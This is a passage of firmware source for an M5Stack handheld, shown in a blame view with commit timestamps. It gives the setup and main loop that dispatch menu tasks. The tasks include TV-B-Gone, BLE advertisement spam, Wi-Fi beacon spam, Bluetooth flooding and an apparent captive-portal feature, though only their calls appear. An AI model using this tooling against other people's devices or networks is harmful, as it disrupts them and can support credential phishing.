2023-11-13 06:19:16 +00:00
|
|
|
brightness = EEPROM.read(2);
|
|
|
|
region = EEPROM.read(3);
|
|
|
|
#endif
|
2024-01-07 08:00:04 +00:00
|
|
|
getSSID();
|
|
|
|
|
2023-09-25 01:55:42 +00:00
|
|
|
// Pin setup
|
2023-11-14 00:32:50 +00:00
|
|
|
#if defined(M5LED)
|
2023-09-25 01:55:42 +00:00
|
|
|
pinMode(M5_LED, OUTPUT);
|
2023-11-13 06:19:16 +00:00
|
|
|
digitalWrite(M5_LED, HIGH); //LEDOFF
|
|
|
|
#endif
|
2023-11-14 00:32:50 +00:00
|
|
|
#if !defined(KB)
|
2023-09-25 01:55:42 +00:00
|
|
|
pinMode(M5_BUTTON_HOME, INPUT);
|
|
|
|
pinMode(M5_BUTTON_RST, INPUT);
|
2023-12-21 23:20:05 +00:00
|
|
|
#endif
|
|
|
|
#if defined(M5_BUTTON_MENU)
|
|
|
|
pinMode(M5_BUTTON_MENU, INPUT);
|
2023-11-14 00:32:50 +00:00
|
|
|
#endif
|
2023-09-25 01:55:42 +00:00
|
|
|
// Random seed
|
|
|
|
randomSeed(analogRead(0));
|
|
|
|
|
|
|
|
// Create the BLE Server
|
|
|
|
BLEDevice::init("");
|
|
|
|
BLEServer *pServer = BLEDevice::createServer();
|
|
|
|
pAdvertising = pServer->getAdvertising();
|
|
|
|
BLEAdvertisementData oAdvertisementData = BLEAdvertisementData();
|
|
|
|
|
2023-12-30 04:34:45 +00:00
|
|
|
// Nemo Portal Init
|
|
|
|
setupSdCard();
|
|
|
|
bootTime = lastActivity = millis();
|
2024-01-07 08:00:04 +00:00
|
|
|
|
|
|
|
screenBrightness(brightness);
|
|
|
|
dimtimer();
|
|
|
|
DISP.setRotation(rotation);
|
|
|
|
DISP.setTextColor(FGCOLOR, BGCOLOR);
|
|
|
|
bootScreen();
|
2023-09-21 05:13:04 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
void loop() {
|
|
|
|
// This is the code to handle running the main loops
|
|
|
|
// Background processes
|
|
|
|
switcher_button_proc();
|
|
|
|
screen_dim_proc();
|
2023-11-13 06:19:16 +00:00
|
|
|
check_menu_press();
|
2023-10-08 03:43:20 +00:00
|
|
|
|
2023-09-21 05:13:04 +00:00
|
|
|
// Switcher
|
|
|
|
if (isSwitching) {
|
|
|
|
isSwitching = false;
|
2023-12-30 04:34:45 +00:00
|
|
|
Serial.printf("Switching To Task: %d\n", current_proc);
|
2023-09-21 05:13:04 +00:00
|
|
|
switch (current_proc) {
|
2023-11-14 00:32:50 +00:00
|
|
|
#if defined(RTC)
|
2023-09-21 05:13:04 +00:00
|
|
|
case 0:
|
|
|
|
clock_setup();
|
|
|
|
break;
|
2023-11-14 00:32:50 +00:00
|
|
|
#endif
|
2023-09-21 05:13:04 +00:00
|
|
|
case 1:
|
|
|
|
mmenu_setup();
|
|
|
|
break;
|
|
|
|
case 2:
|
|
|
|
smenu_setup();
|
|
|
|
break;
|
2023-11-14 00:32:50 +00:00
|
|
|
#if defined(RTC)
|
2023-09-22 05:01:25 +00:00
|
|
|
case 3:
|
|
|
|
timeset_setup();
|
|
|
|
break;
|
2023-12-28 16:56:27 +00:00
|
|
|
#endif
|
2023-09-21 05:13:04 +00:00
|
|
|
case 4:
|
|
|
|
dmenu_setup();
|
|
|
|
break;
|
|
|
|
case 5:
|
|
|
|
tvbgone_setup();
|
|
|
|
break;
|
2023-11-14 00:32:50 +00:00
|
|
|
#if defined(AXP)
|
2023-09-21 05:13:04 +00:00
|
|
|
case 6:
|
|
|
|
battery_setup();
|
|
|
|
break;
|
2023-11-14 00:32:50 +00:00
|
|
|
#endif
|
|
|
|
#if defined(ROTATION)
|
2023-09-21 05:13:04 +00:00
|
|
|
case 7:
|
|
|
|
rmenu_setup();
|
|
|
|
break;
|
2023-11-14 00:32:50 +00:00
|
|
|
#endif
|
2023-09-21 05:13:04 +00:00
|
|
|
case 8:
|
|
|
|
aj_setup();
|
|
|
|
break;
|
|
|
|
case 9:
|
|
|
|
aj_adv_setup();
|
|
|
|
break;
|
2023-09-22 18:44:29 +00:00
|
|
|
case 10:
|
|
|
|
credits_setup();
|
|
|
|
break;
|
2023-09-26 04:09:36 +00:00
|
|
|
case 11:
|
|
|
|
wifispam_setup();
|
|
|
|
break;
|
|
|
|
case 12:
|
|
|
|
wsmenu_setup();
|
2023-09-29 00:36:37 +00:00
|
|
|
break;
|
|
|
|
case 13:
|
|
|
|
tvbgmenu_setup();
|
|
|
|
break;
|
2023-11-07 01:10:41 +00:00
|
|
|
case 14:
|
|
|
|
wscan_setup();
|
|
|
|
break;
|
|
|
|
case 15:
|
|
|
|
wscan_result_setup();
|
|
|
|
break;
|
2023-11-12 00:32:44 +00:00
|
|
|
case 16:
|
|
|
|
btmenu_setup();
|
|
|
|
break;
|
|
|
|
case 17:
|
|
|
|
btmaelstrom_setup();
|
|
|
|
break;
|
2023-11-14 03:52:46 +00:00
|
|
|
case 18:
|
|
|
|
qrmenu_setup();
|
|
|
|
break;
|
2023-12-30 04:34:45 +00:00
|
|
|
case 19:
|
|
|
|
portal_setup();
|
|
|
|
break;
|
2023-09-21 05:13:04 +00:00
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
switch (current_proc) {
|
2023-11-14 00:32:50 +00:00
|
|
|
#if defined(RTC)
|
2023-09-21 05:13:04 +00:00
|
|
|
case 0:
|
|
|
|
clock_loop();
|
|
|
|
break;
|
2023-11-14 00:32:50 +00:00
|
|
|
#endif
|
2023-09-21 05:13:04 +00:00
|
|
|
case 1:
|
|
|
|
mmenu_loop();
|
|
|
|
break;
|
|
|
|
case 2:
|
|
|
|
smenu_loop();
|
|
|
|
break;
|
2023-11-14 00:32:50 +00:00
|
|
|
#if defined(RTC)
|
2023-09-22 05:01:25 +00:00
|
|
|
case 3:
|
|
|
|
timeset_loop();
|
|
|
|
break;
|
2023-12-28 16:56:27 +00:00
|
|
|
#endif
|
2023-09-21 05:13:04 +00:00
|
|
|
case 4:
|
|
|
|
dmenu_loop();
|
|
|
|
break;
|
|
|
|
case 5:
|
|
|
|
tvbgone_loop();
|
|
|
|
break;
|
2023-11-14 00:32:50 +00:00
|
|
|
#if defined(AXP)
|
2023-09-21 05:13:04 +00:00
|
|
|
case 6:
|
|
|
|
battery_loop();
|
|
|
|
break;
|
2023-11-14 00:32:50 +00:00
|
|
|
#endif
|
|
|
|
#if defined(ROTATION)
|
2023-09-21 05:13:04 +00:00
|
|
|
case 7:
|
|
|
|
rmenu_loop();
|
|
|
|
break;
|
2023-11-14 00:32:50 +00:00
|
|
|
#endif
|
2023-09-21 05:13:04 +00:00
|
|
|
case 8:
|
|
|
|
aj_loop();
|
|
|
|
break;
|
|
|
|
case 9:
|
|
|
|
aj_adv();
|
|
|
|
break;
|
2023-09-22 18:44:29 +00:00
|
|
|
case 10:
|
2024-01-09 05:18:08 +00:00
|
|
|
// easter egg?
|
2024-01-10 03:48:22 +00:00
|
|
|
#ifndef STICK_C
|
2024-01-11 00:45:06 +00:00
|
|
|
if(check_select_press()){BITMAP;}
|
2024-01-10 03:48:22 +00:00
|
|
|
#endif
|
2023-09-26 04:09:36 +00:00
|
|
|
break;
|
|
|
|
case 11:
|
|
|
|
wifispam_loop();
|
|
|
|
break;
|
|
|
|
case 12:
|
|
|
|
wsmenu_loop();
|
2023-09-29 00:36:37 +00:00
|
|
|
break;
|
|
|
|
case 13:
|
|
|
|
tvbgmenu_loop();
|
|
|
|
break;
|
2023-11-07 01:10:41 +00:00
|
|
|
case 14:
|
|
|
|
wscan_loop();
|
|
|
|
break;
|
|
|
|
case 15:
|
|
|
|
wscan_result_loop();
|
|
|
|
break;
|
2023-11-12 00:32:44 +00:00
|
|
|
case 16:
|
|
|
|
btmenu_loop();
|
|
|
|
break;
|
|
|
|
case 17:
|
|
|
|
btmaelstrom_loop();
|
|
|
|
break;
|
2023-11-14 03:52:46 +00:00
|
|
|
case 18:
|
|
|
|
qrmenu_loop();
|
|
|
|
break;
|
2023-12-30 04:34:45 +00:00
|
|
|
case 19:
|
|
|
|
portal_loop();
|
|
|
|
break;
|
2023-09-21 05:13:04 +00:00
|
|
|
}
|
|
|
|
}
|